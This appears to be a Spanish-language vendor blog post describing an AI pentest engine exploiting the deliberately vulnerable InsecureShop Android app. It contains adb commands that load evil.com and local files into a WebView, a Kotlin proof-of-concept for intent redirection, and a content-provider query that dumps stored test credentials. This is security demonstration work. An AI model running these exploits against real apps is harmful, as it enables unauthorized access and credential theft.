Pentesting con IA: un análisis a fondo de la redirección de intents en Android

El AI Pentest Engine de Ostorlab está diseñado para replicar el complejo proceso de varios pasos de un investigador de seguridad humano experto. No se limita a ejecutar un escáner y a informar de su resultado: formula hipótesis, las pone a prueba y valida sus propios hallazgos.

Para ponerlo a prueba, dirigimos el motor contra la aplicación Android InsecureShop con el objetivo de probar vulnerabilidades de redirección de intents. El objetivo de probar una clase de vulnerabilidad lo define un módulo de inteligencia de amenazas que identifica todos los riesgos y el contexto que se debe probar, pero de eso hablaremos en publicaciones posteriores.

Lo que siguió fue un proceso de pentesting elegante y rápido. El motor de IA descompiló la aplicación, identificó componentes potencialmente vulnerables mediante análisis estático y, a continuación, intentó validar rigurosamente cada hallazgo mediante análisis dinámico y aplicaciones de prueba de concepto.

Esta publicación documenta el flujo de trabajo completo y sin editar del motor, y destaca no solo su capacidad para encontrar errores críticos, sino también, igual de importante, su capacidad para confirmarlos o descartarlos.

Generación del plan de pruebas

El primer paso del motor de IA consiste en desarrollar una metodología de 10 tareas con los siguientes objetivos:

• Identificar todos los componentes exportados de la aplicación y sus filtros de intents
• Analizar el tratamiento de los intents en busca de posibles fallos de redirección
• Hacer fuzzing de los componentes con intents maliciosos para provocar un comportamiento no deseado
• Desarrollar aplicaciones completas de prueba de concepto para las vulnerabilidades confirmadas

Desglose del plan

1. Descompilación del APK - Extraer el archivo AndroidManifest.xml, los recursos y el código fuente para mapear la superficie de ataque de la aplicación
2. Análisis de componentes - Enumerar todas las activities, los services y los broadcast receivers, centrándose en los componentes con android:exported=true
3. Documentación de los filtros de intents - Documentar las acciones, las categorías y los esquemas de datos de cada componente exportado
4. Revisión del código fuente - Examinar los componentes exportados en busca de patrones en los que se crean objetos Intent o se extraen de los extras de los intents recibidos
5. Preparación del entorno - Instalar la aplicación en un dispositivo de pruebas con las herramientas de registro y supervisión habilitadas
6. Elaboración de intents maliciosos - Crear intents con intents anidados incrustados en los bundles de extras para probar las capacidades de redirección
7. Pruebas de escalada de privilegios - Atacar componentes no exportados mediante intents anidados para comprobar si es posible un acceso no autorizado
8. Supervisión del sistema - Supervisar logcat y el comportamiento de la aplicación en busca de señales de una redirección de intents exitosa
9. Desarrollo de PoC - Crear aplicaciones Android que demuestren el impacto en la seguridad mediante la elaboración de intents maliciosos
10. Documentación - Documentar los hallazgos con los componentes vulnerables, los intents maliciosos utilizados y el código fuente de la PoC

Razonamiento paso a paso del motor

apk_path='/REDACTED/InsecureShop.apk'_

<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" package="com.insecureshop">
  <uses-permission android:name="android.permission.INTERNET"/>
  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

  <application android:debuggable="true" ...>
    <activity android:name="com.insecureshop.WebViewActivity">
      <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="insecureshop" android:host="com.insecureshop"/>
      </intent-filter>
    </activity>
    <activity android:name="com.insecureshop.WebView2Activity" android:exported="true">
      <intent-filter>
        <action android:name="com.insecureshop.action.WEBVIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
      </intent-filter>
    </activity>
    <activity android:name="com.insecureshop.PrivateActivity" android:exported="false"/>
    ...
    <provider android:name="com.insecureshop.contentProvider.InsecureShopProvider" android:readPermission="com.insecureshop.permission.READ" android:exported="true" android:authorities="com.insecureshop.provider"/>
    <service android:name="net.gotev.uploadservice.UploadService" android:enabled="true" android:exported="true"/>
  </application>
</manifest>

Hallazgo 1: inclusión de archivos locales en WebViewActivity

El análisis estático de WebViewActivity.java y de su entrada correspondiente en el manifiesto llevó a la IA a formular una hipótesis: se podía engañar a la activity para que cargara archivos locales mediante el parámetro url de un URI personalizado, lo que indicaba una posible vulnerabilidad de inclusión de archivos locales (LFI). A continuación, la IA pasó a validar esta hipótesis.

Paso 1: Trigger the Webview
- Nombre de la herramienta: adb
- Argumentos:

shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://evil.com

Paso 2: Result Observation
- Nombre de la herramienta: run_take_screenshot
- Salida: Successfully captured 1 screenshots.

Paso 3: Create Test File
- Nombre de la herramienta: adb
- Argumentos:

shell echo <html><body><h1>Vulnerability Confirmed</h1></body></html> > /data/local/tmp/validation.html

Paso 4: Attempt to Load Local File via Intent
- Nombre de la herramienta: adb
- Argumentos:

shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/local/tmp/validation.html"

Paso 5: Result Observation - Nombre de la herramienta: run_take_screenshot
- Salida: Successfully captured 1 screenshots.

Hallazgo 2: redirección de intents en WebView2Activity

A continuación, la IA analizó WebView2Activity, una activity exportada que parecía lanzar cualquier Intent que se le pasara como extra Parcelable llamado extra_intent. Este es un patrón clásico de redirección de intents, que podría permitir a una aplicación maliciosa lanzar componentes no exportados.

Para validarlo, la IA construyó y desplegó una aplicación maliciosa de prueba de concepto diseñada para explotar este fallo y lanzar la PrivateActivity no exportada.

Paso 1: Build and Install PoC

Nombre de la herramienta: run_build_app
Argumentos:
Imports:

  import android.content.ComponentName
  import android.content.Intent
  import android.os.Bundle
  import androidx.appcompat.app.AppCompatActivity

PoC Application Code:

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        val maliciousIntent = Intent()
        maliciousIntent.component = ComponentName("com.insecureshop", "com.insecureshop.PrivateActivity")

        val wrapperIntent = Intent()
        wrapperIntent.component = ComponentName("com.insecureshop", "com.insecureshop.WebView2Activity")
        wrapperIntent.action = "com.insecureshop.action.WEBVIEW"
        wrapperIntent.putExtra("extra_intent", maliciousIntent)

        startActivity(wrapperIntent)
    }
}

Nombre de la herramienta: adb
Argumentos:

install /REDACTED/pentestingApp-debug.apk

Salida:

    Performing Streamed Install
    Success

Paso 2: Launch PoC and Observe

Nombre de la herramienta: adb
Argumentos:

shell am start -n com.example.pentestingapp/.MainActivity

Salida:

Starting: Intent { cmp=com.example.pentestingapp/.MainActivity }

Nombre de la herramienta: run_take_screenshot
Salida: Successfully captured 1 screenshots.

Hallazgo 3: fuga de credenciales a través de InsecureShopProvider

La IA identificó un content provider exportado protegido por un permiso de nivel normal, lo que sugería que cualquier aplicación podría consultarlo. El análisis estático de InsecureShopProvider.java indicaba que devolvía credenciales de usuario almacenadas.

<provider 
    android:name="com.insecureshop.contentProvider.InsecureShopProvider" 
    android:readPermission="com.insecureshop.permission.READ" 
    android:exported="true" 
    android:authorities="com.insecureshop.provider"/>
<permission android:name="com.insecureshop.permission.READ"/>

@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
    Intrinsics.checkParameterIsNotNull(uri, "uri");
    UriMatcher uriMatcher2 = uriMatcher;
    if (uriMatcher2 != null && uriMatcher2.match(uri) == 100) {
        MatrixCursor cursor = new MatrixCursor(new String[]{"username", "password"});
        String[] strArr = new String[2];
        String username = Prefs.INSTANCE.getUsername();
        if (username == null) {
            Intrinsics.throwNpe();
        }
        strArr[0] = username;
        String password = Prefs.INSTANCE.getPassword();
        if (password == null) {
            Intrinsics.throwNpe();
        }
        strArr[1] = password;
        cursor.addRow(strArr);
        return cursor;
    }
    return null;
}

shell content query --uri content://com.insecureshop.provider/insecure

Row: 0 username=shopuser, password=!ns3csh0p

<service android:name="net.gotev.uploadservice.UploadService" android:enabled="true" android:exported="true"/>

{"tool_name": "run_build_app", "content": "AssembleDebug failed: ./gradlew assembleDebug\nError: e: ... Unresolved reference: UploadTaskParameters"}